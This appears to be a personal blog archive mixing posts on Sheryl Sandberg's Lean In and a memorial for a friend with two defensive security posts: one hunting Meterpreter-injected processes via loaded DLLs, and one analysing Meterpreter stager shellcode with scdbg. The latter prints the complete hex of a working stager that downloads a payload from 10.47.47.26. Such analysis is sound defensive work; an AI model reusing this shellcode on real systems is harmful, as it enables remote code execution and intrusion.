What's the cause of the problem part two

This is the fourth post in a series of posts inspired by reading Sheryl Sandberg's book, Lean In: Women, Work, and the Will to Lead. 

Previously we discussed lack of confidence as one of the causes that Sandberg cites for the lack of women in leadership roles. Another reason she gives is pregnancy and childrearing. It's not just that women leave the workforce when they give birth, it's also that they factor pregnancy and childrearing into decisions about whether or not to take on bigger roles and more responsibilities -- "they leave before they leave," Sandberg says. (Sandberg, 2013, p. 93)

Sandberg encourages women to take the opposite approach. If they are interested in achieving more, she encourages them to pursue bigger roles and more responsibility. "The months and years leading up to having children are not the time to lean back, but the critical time to lean in." (Sandberg, 2013, p. 95)

According to Sandberg, "forty-three percent of highly qualified women with children are leaving careers, or 'off-ramping' for a period of time." (Sandberg, 2013, p. 98)

What's more, "only 74 percent of professional women will rejoin the workforce in any capacity, and only 40 percent will return to full-time jobs..." (Sandberg, 2013, p. 102)

That's a significant percentage of "highly qualified" individuals leaving the workforce. This loss of good people impacts the companies and organizations where they work, but it has an even greater impact on the lifetime earnings of those women. Obviously those who never return face the greatest impact to their earnings, but even for those who return, "controlling for education and hours worked, women's average annual earnings decrease by 20 percent if they are out of the workforce for just one year. Average annual earnings decline by 30 percent after two to three years." (Sandberg, 2013, p. 102) Factor in compounding over a lifetime and the financial impacts are highly consequential.

I mentioned previously that I'm the father of daughters. My wife and I did the "back of the envelope" math and calculated that having her quit her job to stay home with our children was more cost effective than having her work and paying for full-time childcare. Except we didn't factor in the loss of future earnings. In fact, I was never even aware of this oversight until I read "... professional women need to measure the cost of child care against their future salary rather than their current salary." (Sandberg, 2013, p. 102)

I love this insight by Sandberg. Impact on future earnings is just the kind of thing an excellent business leader would factor in when making a decision to leave the workforce, even if temporarily, for an extended amount of time following childbirth.

We believe there are benefits to having a parent deeply involved in the day-to-day childrearing, but Sandberg provides evidence that children raised by multiple caregivers fair just as well as those where their mother is the primary caregiver.

"In 2006, the researchers released a report summarizing their findings, which concluded that 'children who were cared for exclusively by their mothers did not develop differently than those who were also cared for by others.' They found no gap in cognitive skills, language competence, social competence, ability to build and maintain relationships or in the quality of the mother-child bond." (Sandberg, 2013, pp. 135-136)

Further, "Some data even suggest that having two parents working outside the home can be advantageous to a child's development, particularly for girls." (Sanders, 2013, p. 136) And Sandberg tells us, "We all need to encourage men to lean in to their families." (Sandberg, 2013, p. 113) after all, 

"children with involved and loving fathers have higher levels of psychological well-being and better cognitive abilities. When fathers provide even just routine child care, children have higher levels of educational and economic achievement and lower delinquency rates. Their children even tend to be more empathetic and socially competent. These findings hold true for children from all socioeconomic backgrounds, whether or not the mother is highly involved." (Sandberg, 2013, p. 113)

Ultimately it should be up to each individual to decide if they want to leave the workforce to raise children or if they want to go after that next promotion (or both), but individuals should be informed about the financial implications of those decisions and the equation isn't just about the present day cost of childcare.

Now I'll leave you with some related words from Beyoncé from her song Flawless, enjoy the video.

I took some time to live my life
But don't think I'm just his little wife
Don't get it twisted, get it twisted
This my shit, bow down, bitches

What's the Cause of the Problem?

This is the third post in a series of posts inspired by reading Sheryl Sandberg's book, Lean In: Women, Work, and the Will to Lead. In the previous post, I shared some of the statistics from Sandberg's book and other sources that show that women are underrepresented in leadership and technical roles. Even in fields where women dominate leadership positions, like human resources roles, they are underpaid compared to their male counterparts.

In this post, I'll share some notes from the book that may explain why this disparity persists.

Is it a confidence game?

One of the reasons Sandberg cites for women being underrepresented may be tied to a lack of confidence, or perhaps a surplus of confidence from their male counterparts.

"An internal report at Hewlett-Packard revealed that women only apply for open jobs if they think they meet 100 percent of the criteria listed. Men apply if they think they meet 60 percent of the requirements. This difference has a huge ripple effect. Women need to shift from thinking 'I'm not ready to do that' to thinking 'I want to do that -- and I'll learn by doing it.'" (Sandberg, 2013, p. 62)

Sandberg goes on to share an anecdote from Cisco's then chief technology officer, Padmasree Warrior. The Huffington Post asked her, "What's the most important lesson you've learned from a mistake you've made in the past?" (Sandberg, 2013, p. 35)

Warrior responds, 

"I said no to a lot of opportunities when I was just starting out because I thought, 'That's not what my degree is in' or 'I don't know about that domain.' In retrospect, at a certain point it's your ability to learn quickly and contribute quickly that matters. One of the things I tell people these days is that there is no perfect fit when you're looking for the next big thing to do. You have to take opportunities and make an opportunity fit for you, rather than the other way around. The ability to learn is the most important quality a leader can have." (Sandberg, 2013, p. 35)

Sandberg elaborates on the confidence issue, "self-doubt becomes a form of self-defense... We put ourselves down before others can." (Sandberg, 2013, p. 41)

I've been told throughout my career that I'm self-effacing, overly modest and too self-critical. I never recognized until reading these words that it could be a form of self-defense. Like Warrior, I've also held myself back from applying for roles I was interested in because I didn't think I was a perfect fit.

We do ourselves a disservice when we sell ourselves short and hold ourselves back due to a lack of confidence, thinking we can't learn some new thing quickly enough. I'm reminded of attending interview training when I worked at Microsoft. Confidence was one of the things that we were asked to assess as data supports to the idea that confidence is a predictor of employee effectiveness.

Confidence isn't fixed, fortunately. We can improve our self-efficacy through new achievements. The old saying that "Success breeds success," is true. As managers, we can help by encouraging our teams; reminding them that we believe in them; giving them more responsibility and increasingly challenging tasks; being there when they need help, and when the fail at something, helping them reflect on, learn from the failure, and move on. Too much focus on failures undermines confidence.

Self-doubt holds us all back, and Sandberg points to data indicating this is a bigger problem for women than for men, hence it contributes to the disparity in female representation in leadership and technical roles. In the next post in this series, I'll continue to exploring more of the reasons for this disparity.

If you need a little confidence boost, put on your headphones and crank this up.

The Problem is the People, but Which People?

In my second job out of college, my boss' boss would often say, "Wherever you go there's always a problem and the problem is always the people." I wondered to myself, "Yeah, but which people?"

In my previous post in this series, I recounted how reading Sheryl Sandberg's book, Lean In: Women, Work, and the Will to Lead, reminded me of my grandfather refusing to let my grandmother pursue her master's degree because he didn't want her to have more formal education than he did; a sad example of a woman wanting to lean in to her career and a man not just failing to support her through passivity, but actively preventing her from achieving more.

I mentioned in that post that my motivation for reading Lean In was to become a better leader. Sandberg is an amazingly successful business leader. She was integral to building both Google and Facebook. Another motivator was that I want to be able to speak to my daughters about Sandberg's book from having read it, not from having read about it. 

Lean In came out in 2013 and was a number one international bestseller, but it wasn't without criticism. I'm not going provide a critique or a review as I'm not qualified to do so. I will share some of the things I thought were interesting and valuable to me. I encourage you to read it for yourself and to read the criticism also.

Sandberg tells us she wrote the book

"to encourage women to dream big, forge a path through the obstacles, and achieve their full potential. I am hoping that each woman will set her own goals and reach for them with gusto. And I am hoping that each man will do his part to support women in the workplace and in the home with gusto. As we start using the talents of the entire population, our institutions will be more productive, our homes will be happier, and the children growing up in those homes will no longer be held back by narrow stereotypes." (Sandbrerg, 2013, p. 171)

I mostly agree with Sandberg. There is some daylight between us around the heteronormativity of the statement, but in general, I agree that we should encourage and support women to reach their full potential. I want the same for anyone regardless of their gender or where they fall on the spectrum of biological sex. I think any good natured, rational person should want any other person to achieve their full potential.

Sandberg's reasons for writing Lean In beg the question, are women failing to reach their full potential? The book and a few minutes searching online make it clear that women are underrepresented in traditional positions of power, and are paid less than men for the same work. 

Women make up 50 percent of the population, yet they currently hold 10 percent of Fortune 500 CEO positions and that's a record high (Fortune, Hinchliffe). Kunal Modi, cited in my previous post points out that women make up only 17 percent of the U.S. Congress and 16 percent of C-suites. (Huffington Post, Modi)

"Women earn 57 percent of undergraduate degrees and account for nearly 60 percent of all graduate school enrollment. However, in the disciplines that continue to define America's economic future -- engineering, computer science, mathematics, and physical sciences -- women earn less than half of all degrees." (Huffington Post, Modi)

There's debate about the cause of these disparities. Recall the 10 page document authored by James Damore, "Google's Ideological Echo Chamber," where Damore presented evidence that biological differences between men and women may explain these disparities. As with so much of social science, here, the science is unsettled. (Wired, Molteni)

Damore's memo cites studies that show "men systematize, women empathize" and that this may be the reason for women's underrepresentation in technical or leadership roles rather than active discrimination. Yet even in high empathy roles like human resources where "76% of HR Managers are women, male HR Managers earn 40% more than their female counterparts." (Visier, Barron) Read that again. If it's not active discrimination, there are egregious sins of omission resulting in this pay gap. 

Given these facts, it's hard to believe anyone would argue in good faith that women are realizing their full potential. 

If we accept that there's a problem, what is the cause? My old boss' boss would say it's the people. Sure, but which people? Why are women underrepresented in leadership and how do we fix it? Sandberg has much to say on this and I'll dive into it in my next post. 

Until then, I'm taking inspiration from Beyoncé's going hard and slaying all day, maybe you will too.

Lean In for Yourself

Small family farming is a labor intensive way to go broke. 

When I was young I spent some weeks each summer with my grandparents. As farmers and cattle ranchers, my grandparents scratched out an existence. My grandpa was up before dawn feeding cattle and out working fields of corn, milo, sorghum, soybeans, and wheat until after sunset. There were too few boom years, and too many bust years. They had neighbors who lost everything. My grandparents survived.

One thing that helped keep them afloat was my grandmother's rural elementary school teacher salary. When we ran errands together we frequently encountered her former students and it was clear from the things they said that they loved and respected her.

At one point she decided to get her master's degree. My granddad stopped her. He didn't like the idea that she would have more formal education than he did.

I've been thinking about this bit of my family history lately, prompted by reading Sheryl Sandberg's book, Lean In: Women, Work, and the Will to Lead.

My granddad may have perceived that his pride was spared by preventing my grandmother from pursuing her master's, but I've been thinking about the emotional, financial, and communal costs. Was my grandmother wounded by this? How could she not be? She would have made more money over her career and may have been a better educator, which would have benefited an entire community.

If he would have been supportive, allowed her to lean in to her career and leaned in more at home himself, how would things have been different?

As I said, my reflections on this were prompted by Sandberg's book, which I read because I'm a people manager and Sandberg is an incredibly accomplished leader and I want to pick up the lessons of great leaders wherever I can. 

I'm also a father to three young women. I want to support them in their careers and Sandberg is arguably one of the most successful business leaders of all time, perhaps I could learn something that would help me help my daughters.

This personal family anecdote came to me as I was thinking about this quote from Sandberg's book:

"Kunal Modi, a student at Harvard's Kennedy School, wrote an article imploring men to 'Man Up on Family and Workplace Issues.' He argued that 'for the sake of American corporate performance and shareholder returns, men must play an active role in ensuring that the most talented young workers (often women...) are being encouraged to advocate for their career advancement... So men, let's get involved now -- and not in a patronizing manner that marginalizes this as some altruistic act on behalf of our mothers, wives, and daughters -- but on behalf of ourselves, our companies, and the future of our country." (Sandberg, 2013, pp. 165-166)

Modi calls men to support "the most talented young workers," not out of altruism, "but on behalf of ourselves," Had my granddad supported my grandmother's pursuit of her master's degree, it would have been to his benefit, to the benefit of his family, and to the benefit of the community.

We should follow Modi's advice and ensure "that the most talented young workers (often women...) are being encouraged to advocate for their career advancement." We shouldn't do this out of altruism, as Modi suggests, we should do it because it will benefit everyone, including ourselves.

Note that Modi doesn't say we should do this for women only, he says we should do it for our "most talented young workers," and the implication is that that group may include women, and if it does, we should be encouraging them because they are the most talented. This doesn't appear to be about affirmative action or Diversity, Equity and Inclusion. It's about encouraging the best, period.

This is the first in a series of posts where I'm reflecting on Sandberg's book in an effort to synthesize my own understanding of the issues and to glean general management insights. In the next post, I'll offer evidence from Sandberg's book and elsewhere supporting her thesis that there is a problem.

I'll end this post with Taylor Swift's tribute to her grandmother, Marjorie. 

RIP Grant W. Dotson -- A dear friend

It's been a rough day. 

About 18 months ago a friend of mine from high school posted a Go FundMe on Facebook for a mutual friend who was battling cancer. This mutual friend was someone I'd been very close to in elementary and middle school. As happens, we remained friends, but drifted apart a bit in high school, different interests and new friend groups, etc.

We went off to different colleges and touched base infrequently, but we did touch base. He came to visit me when certain musicians were performing in town and we would go to those shows together. We shared a love for jazz bands and artists like Medeski, Martin and Wood, Bill Frisell, Miles Davis, etc.

I had no idea he'd been fighting cancer for more than a year. I called him up and got the full story. He was upbeat and optimistic that he would beat it. I planned to go see him, then COVID hit. We stayed in touch, talked every few weeks and texted back and fourth almost daily. It was as if no time had past in the intervening years since childhood.

A few weeks ago, he texted me that he was in the hospital. The cancer that had ravaged his liver and bowels had spread to his lungs. He was undergoing a tough round of chemo to "nip it from [his] lungs so he could return to bettersville." 

The texts became less frequent. I asked him how he was doing. He said the chemo had made things worse. He was on four liters of oxygen and still couldn't catch his breath. The optimism that he'd expressed for the last 18 months was gone. I cried, told him my heart was breaking for him, that I loved him and that if there was anything I could do for him, please let me know.

He thanked me for being a good friend. That was a week ago.

I meant to text him yesterday. Life got in the way. Last night I was laying in bed concerned. I picked up my phone and searched for obituaries in my home town where he still lived. Nothing, thankfully.

This morning a post in our high school class group on Facebook said that he had passed away yesterday. I cried again. My mind raced with memories of carefree days growing up with him as a constant companion. He was special. Always kind and caring.

Rest in peace, Grant. I already miss our conversations.

Hug your loved ones, cherish the moments. Life is short.

Hunting injected processes by the modules they keep

A relatively recent post showed how Metasploit's Meterpreter module made some noise on endpoints when the migrate command was used to move the agent code into a legitimate process, spoolsv.exe in our example.

One of the things we saw in that post was that when the agent migrates, it uses commonplace injection techniques that result in three dlls being reflectively loaded into the target process. These dlls are not registered with the process and therefore don't show up in the output of something like listdlls, but we were able to find them using gleeda's memtriage in combination with Volatility's malfind plugin. Worth mentioning again, memtriage is really useful because it facilitates some memory analysis without the need for a full memory dump. See the other post for details.

We also noted that these three dlls have dependencies on native Windows dlls and these dozen or so dlls are loaded at the time of agent migration. Depending on how long the target process has been running, these may be "late loaded dlls," which could be a powerful detection. These late loaded dlls are registered in the process, so we can go hunting for them using something like listdlls,  PowerShell's Get-Process cmdlet or a relatively new Kansa module built around the Get-Process cmdlet -- Get-ProcessesUsingModules.ps1.

This new module is one of the few Kansa modules that can take command line arguments, this makes it a bit awkward to use. There's an old post here on what this can look like and we'll dive into the specifics for this new module now.

PS > .\kansa.ps1 -Target $env:computername -ModulePath ".\Modules\Process\Get-ProcessesUsingModules.ps1 wininet.dll,iertutil.dll,winhttp.dll,dhcpcsvc6.dll,dhcpcsvc.dll,webio.dll,psapi.dll,winmm.dll,winmmbase.dll

,ole32.dll,mpr.dll,netapi32.dll" -Credential $cred

Above is an example command-line for running this new collector with a list of dlls. This list of dlls matches what we saw late loaded into our spoolsv.exe process following the migration into that process. Note the double-quotes around the name of the module and its arguments. It's also worth noting that depending on the configuration of the meterpreter agent, there may be different dlls loaded. In our example, I was using a reverse http handler. The example still stands, however. If you're analyzing a piece of malware and can determine what dlls it imports, you may be able to put together a list of modules that you can pass to this collector to see if there are processes that have those dlls loaded. The process may have other dlls loaded too, spoolsv.exe certainly does, but this list of dlls was a result of the agent migration and they are not normally loaded into spoolsv.exe.

Our console output from running this looks like the below, assuming verbose mode:

VERBOSE: Running module:

Get-ProcessesUsingModules

wininet.dll,iertutil.dll,winhttp.dll,dhcpcsvc6.dll,dhcpcsvc.dll,webio.dll,psapi.dll,winmm.dll,winmmbase.dll,ole32.dll,m

pr.dll,netapi32.dll

VERBOSE: Found logging.conf

VERBOSE: Running module on machines 0 to 1 of 1 (0.0 %)

VERBOSE: Waiting for Get-ProcessesUsingModules wininet.dll iertutil.dll winhttp.dll dhcpcsvc6.dll dhcpcsvc.dll

webio.dll psapi.dll winmm.dll winmmbase.dll ole32.dll mpr.dll netapi32.dll to complete.

Id     Name            PSJobTypeName   State         HasMoreData     Location             Command

--     ----            -------------   -----         -----------     --------             -------

7      Job7            RemoteJob       Completed     True            WINS2012R202         <# ...

WARNING: ProcessesUsingModules's output path contains arguments that were passed to it. Those arguments were truncated f

rom wininet.dlliertutil.dllwinhttp.dlldhcpcsvc6.dlldhcpcsvc.dllwebio.dllpsapi.dllwinmm.dllwinmmbase.dllole32.dllmpr.dlln

etapi32.dll to wininet.dlliertutil.dllwinhttp.dlldhcpcsvc6.dlldhcpcsvc.dllwebio.dllpsap to accommodate Window's MAXPATH

limitations of 260 characters.

VERBOSE: ### All Done ###

Note the MAXPATH issue. The way Kansa works, the directory names for the collector output include command line arguments and in this case, those arguments exceed the default limits on my Windows system, so Kansa makes some adjustments and truncates them.

What does the collector output look like, below is a snapshot of the output folder for this collector, note the long folder name.

Inside that folder there's a file, one for each targeted system, in our case there's only one. We ran with the default output type so we have a CSV file and it's contents are as follows:

"ProcessId","ProcessName","PSComputerName"

"1084","spoolsv","WINS2012R202"

This means on our targeted endpoint, we had a single process that had this set of dlls loaded, our injected spoolsv.exe process.

Happy hunting!

Analyzing an Instance of Meterpreter's Shellcode

In my previous post on detecting and investigating Meterpreter's Migrate functionality, I went down a rabbit hole on the initial PowerShell attack spawned by and Excel macro. In that payload was a bit of shellcode and I mentioned that I'd like to return to it at some point in the future for further analysis. I do not consider myself a reverse engineer, though I have dabbled over the years.

What follows then is an amateur's ambling. If you are reading this and have insights you'd like to share, I'd love to receive them via the comments here, an @ mention or DM on Twitter.

Our shellcode from the previous post looked like this:

e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600

Unsure how to proceed with analyzing this, I did a little searching online for things like "analyzing shellcode," "shellcode analysis," "shellcode reversing," etc. There are hundreds of thousands of hits, so no shortage of sites to go chase down.

Here's where I landed. I had a Flare VM from a CTF I'd worked on some time back and I saw that it had recently been updated for the release of capa from Fireeye's Flare team. I knew various posts about shellcode analysis referenced tools that are in the Flare VM, like scdbg, so I decided I'd spin up my old Flare VM and give it a go.

Suffice to say, updating my Flare VM to the latest wasn't straightforward. There were some breaking changes in the upgrade, so I scrapped it and started over with a fresh Win10 system.

Based on what I'd read elsewhere, my first inclination was to try scdbg.exe, which is packaged as part of Flare VM.

PS> scdbg.exe -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )

Stepcount 2000001

This was immediately insightful. I now knew that the string of bytes imported functions from the wininet.dll referenced in the previous post. I could see the IP address and port that it was reaching out to; also seen in the Sysmon logs in the previous post.

Having read this post from Didier Stevens, Another Quickie: Using scdbg to analyze shellcode, I recognized that there may be more to this shellcode than what was shown above as scdbg only emulates 2 million instructions by default. So, I increased the step count as shown below:

PS> scdbg.exe -s 3000000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 3000001

How many steps are enough? I would guess it depends on the shellcode. In my experimentation with this sample, I didn't appear to glean additional information by increasing the step count beyond this. YMMV.

Other options can be passed to scdbg and you should run it without passing it any arguments to see what the possibilities are. One can increase verbosity by passing -v and increase it more with -vv through -vvvv. A single -v will display disassembly:

PS> scdbg.exe -v -s 20 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1

401000   E882000000                      call 0x401087           step: 0
401087   5D                              pop ebp
401088   686E657400                      push dword 0x74656e
40108d   6877696E69                      push dword 0x696e6977
401092   54                              push esp
401093   684C772607                      push dword 0x726774c            step: 5
401098   FFD5                            call ebp
401005   60                              pusha
401006   89E5                            mov ebp,esp
401008   31C0                            xor eax,eax
40100a   648B5030                        mov edx,fs:[eax+0x30]           step: 10
40100e   8B520C                          mov edx,[edx+0xc]
401011   8B5214                          mov edx,[edx+0x14]
401014   8B7228                          mov esi,[edx+0x28]
401017   0FB74A26                        movzx ecx,[edx+0x26]
40101b   31FF                            xor edi,edi             step: 15
40101d   AC                              lodsb
40101e   3C61                            cmp al,0x61
401020   7C02                            jl 0x401024  vv
401022   2C20                            sub al,0x20
401024   C1CF0D                          ror edi,0xd             step: 20

Stepcount 21

Increasing the verbosity with -vv gives register values:

PS> scdbg.exe -vv -s 8 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2

401000   E882000000                      call 0x401087           step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0

401087   5D                              pop ebp                 step: 1  foffset: 87
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=12fff0    esi=0         edi=0          EFL 0

401088   686E657400                      push dword 0x74656e             step: 2  foffset: 88
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=401005    esi=0         edi=0          EFL 0

40108d   6877696E69                      push dword 0x696e6977           step: 3  foffset: 8d
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=401005    esi=0         edi=0          EFL 0

401092   54                              push esp                step: 4  foffset: 92
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf8    ebp=401005    esi=0         edi=0          EFL 0

401093   684C772607                      push dword 0x726774c            step: 5  foffset: 93
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf4    ebp=401005    esi=0         edi=0          EFL 0

401098   FFD5                            call ebp                step: 6  foffset: 98
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf0    ebp=401005    esi=0         edi=0          EFL 0

401005   60                              pusha           step: 7  foffset: 5
eax=0         ecx=0         edx=0         ebx=0
esp=12fdec    ebp=401005    esi=0         edi=0          EFL 0

401006   89E5                            mov ebp,esp             step: 8  foffset: 6
eax=0         ecx=0         edx=0         ebx=0
esp=12fdcc    ebp=401005    esi=0         edi=0          EFL 0

Stepcount 9

Stepping up the verbosity again switches to an interactive mode where you're given the option to step through and select any of the options from this debug menu between instructions:

dbg>
        ? - help, this help screen, h also works
        v - change verbosity (0-4)
        g - go - continue with v=0
        s - step, continues execution, ENTER also works
        c - reset step counter
        r - execute till return (v=0 recommended)
        u - unassembled x instructions at address (default eip)
        b - sets next free breakpoint (10 max)
        m - reset max step count (-1 = infinate)
        e - set eip (file offset or VA)
        w - dWord dump,(32bit ints) prompted for hex base addr and then size
        d - Dump Memory (hex dump) prompted for hex base addr and then size
        x - execute x steps (use with reset step count)
        t - set time delay (ms) for verbosity level 1/2
        k - show stack
        i - break at instruction (scans disasm for next string match)
        f - dereF registers (show any common api addresses in regs)
        j - show log of last 10 instructions executed
        o - step over
        ; - Set comment in IDA if .idasync active
        +/- - basic calculator to add or subtract 2 hex values
        .bl - list set breakpoints
        .bc - clear breakpoint
        .api - scan memory for api table
        .nop - nops out instruction at address (default eip)
        .seh - shows current value at fs[0]
        .segs - show values of segment registers
        .skip - skips current instruction and goes to next
        .reg - manually set register value
        .dllmap - show dll map
        .poke1 - write a single byte to memory
        .poke4 - write a 4 byte value to memory
        .lookup - get symbol for address
        .symbol - get address for symbol (special: peb,dllmap,fs0)
        .savemem - saves a memdump of specified range to file
        .idasync - connect IDASrvr plugin and sync view at step or break.
        .allocs - list memory allocations made

        q - quit

There's also a -r option that will present a summary report at the end of the run. So the output becomes something like the following:

PS> scdbg.exe -r -s 2550000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 2550001

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a

        peb.InMemoryOrderModuleList accessed at 0x401011

In the Analysis report output were some things I dug into further. scdbg reports "Reads of Dll memory detected" followed by a nudge to use -mdll for details. Let's try that:

PS> scdbg.exe -r -s 444650 -mdll -f shellcode.bin -nc
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
40104e  mdll msvcrt>    lodsb    77c5cd2f                       READ
40104e  mdll msvcrt>    lodsb    77c5cd30                       READ
40104e  mdll msvcrt>    lodsb    77c5cd31                       READ
40104e  mdll msvcrt>    lodsb    77c5cd32                       READ
40104e  mdll msvcrt>    lodsb    77c5cd33                       READ
40104e  mdll msvcrt>    lodsb    77c5cd34                       READ
40104e  mdll msvcrt>    lodsb    77c5cd35                       READ
40104e  mdll msvcrt>    lodsb    77c5cd27                       READ
40104e  mdll msvcrt>    lodsb    77c5cd28                       READ
40104e  mdll msvcrt>    lodsb    77c5cd29                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2a                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2b                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2c                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2d                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2e                       READ
40104e  mdll msvcrt>    lodsb    77c5cd20                       READ
40104e  mdll msvcrt>    lodsb    77c5cd21                       READ
40104e  mdll msvcrt>    lodsb    77c5cd22                       READ

Stepcount 444651

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a

        peb.InMemoryOrderModuleList accessed at 0x401011

Above we can see bytes are being read from sequential memory addresses. scdbg tells us this is a dll, specifically the Microsoft Visual C Run Time library. 

In the Analysis report and Memory Monitor Log sections of the output, we also see mentions of the shellocde using the PEB (Process Environment Block), specifically the InMemoryOrderModuleList. I wasn't certain what this was about, but assumed it had something to do with the shellcode attempting to locate specific functions in some loaded module. This was confirmed by an old post from Stephen Fewer of Harmony Security back in June of 2009. I'm grateful for archive.org. (Gratitude is great, but generosity is better. Donate to archive.org)

Given the info in Fewer's post, I wondered if I could run scdbg with the right arguments to see the code referencing the InMemoryOrderModuleList. Turns out, yes. The first one happens around step 10 and it happens six more times in the first 2.6 millions steps:

PS> scdbg.exe -v -s 2550000 -f shellcode.bin | select-string 'fs:\[' -Context 2,2

  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 10
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 178605
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 718215
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 1262515
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]             step: 1809940
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2357005
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2506045
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]

  401011   8B5214                          mov edx,[edx+0x14]

What have we learned?

Probably the most important pieces of information were gleaned in the early goings. This scdbg command tells us the API calls made during the first 5+ million steps.

PS> scdbg.exe -s 54465000 -api -f .\shellcode.bin -nc
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

40112b  InternetReadFile(4893, buf: 600000, size: 2000)

Combined with what we sorted out in the previous post, this paints a more complete picture. The calls above were in the shellcode. So we can say the shellcode opened a network connection to 10.47.47.26 via port 80, and this is consistent with what we say in the Sysmon logs. We didn't see the path, so we have a bit of new information, the request hit whatever resource was hosted at /8Kh89. Maybe that resource served up the payload that injected metsrv.dll and the other injected dlls. We've learned more, but there are still some unanswered questions. Maybe we'll revisit those in a future post.